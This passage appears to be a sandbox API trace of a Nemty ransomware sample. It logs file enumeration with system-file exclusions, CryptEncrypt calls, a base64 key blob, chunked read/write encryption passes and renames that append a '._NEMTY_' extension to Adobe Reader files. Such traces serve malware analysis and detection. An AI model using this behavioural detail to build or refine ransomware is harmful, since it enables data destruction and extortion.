lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.766] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.766] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.766] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.781] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.781] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.794] CloseHandle (hObject=0xffffffff) returned 0 [0208.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.794] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-h._nemty_kgobjgd_")) returned 0 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.795] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2=".") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="..") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="...") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="windows") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="$RECYCLE.BIN") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="rsa") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="NTDETECT.COM") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="ntldr") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="MSDOS.SYS") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="IO.SYS") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="boot.ini") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="boot.ini") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="AUTOEXEC.BAT") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="ntuser.dat") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="desktop.ini") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="CONFIG.SYS") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="RECYCLER") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="BOOTSECT.BAK") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="bootmgr") returned 1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="programdata") returned -1 [0208.795] lstrcmpiW (lpString1="Identity-V", lpString2="appdata") returned 1 [0208.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-V", lpUsedDefaultChar=0x0) returned 10 [0208.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-V", lpUsedDefaultChar=0x0) returned 10 [0208.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.795] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-V", lpUsedDefaultChar=0x0) returned 10 [0208.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Identity-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Identity-V", lpUsedDefaultChar=0x0) returned 10 [0208.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.796] Sleep (dwMilliseconds=0x5) [0208.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x301827b0, dwHighDateTime=0x1d561e8)) [0208.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x301827b0, dwHighDateTime=0x1d561e8)) [0208.804] GetLastError () returned 0x5 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.804] GetLastError () returned 0x5 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.804] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0208.804] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="zlEOxbDnaUea/nlCcnFA/sPW7GhLfdOjgzHDGpcS8iaR0WiLk6V+Semy7M9cgbMO\r\nBEp+GVcYb7MM1iYRXwAH0AEvCr9HYW3shRDSRU17q10woJyaa3k1YF0yoidZWqPf\r\n76pQTM966NTGXcGckW1LDH0o1Z96Nhl5lkNlfw8hS2o6BHojrTQQWvs+jxRe0iN+\r\nxFbno+fAPh2iqn5LuLO8ZoNimI52m7SQCdNUspeZ9DNnIQw6N3AZnZuI24Ue1pXh\r\n1kAWblPV/otp5D5VAFvSSJHDdNA8lqUeHI3lb9G4i1RhtCqvHIcHOnqKOtrBjo8t\r\n+5kk7a2ahtR7HjDWCpZUPQ==\r\n", pcchString=0x653e91c) returned 1 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0208.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0208.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0208.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\identity-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.805] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.825] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.825] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.844] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.853] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.853] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.907] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.913] HeapFree (in: 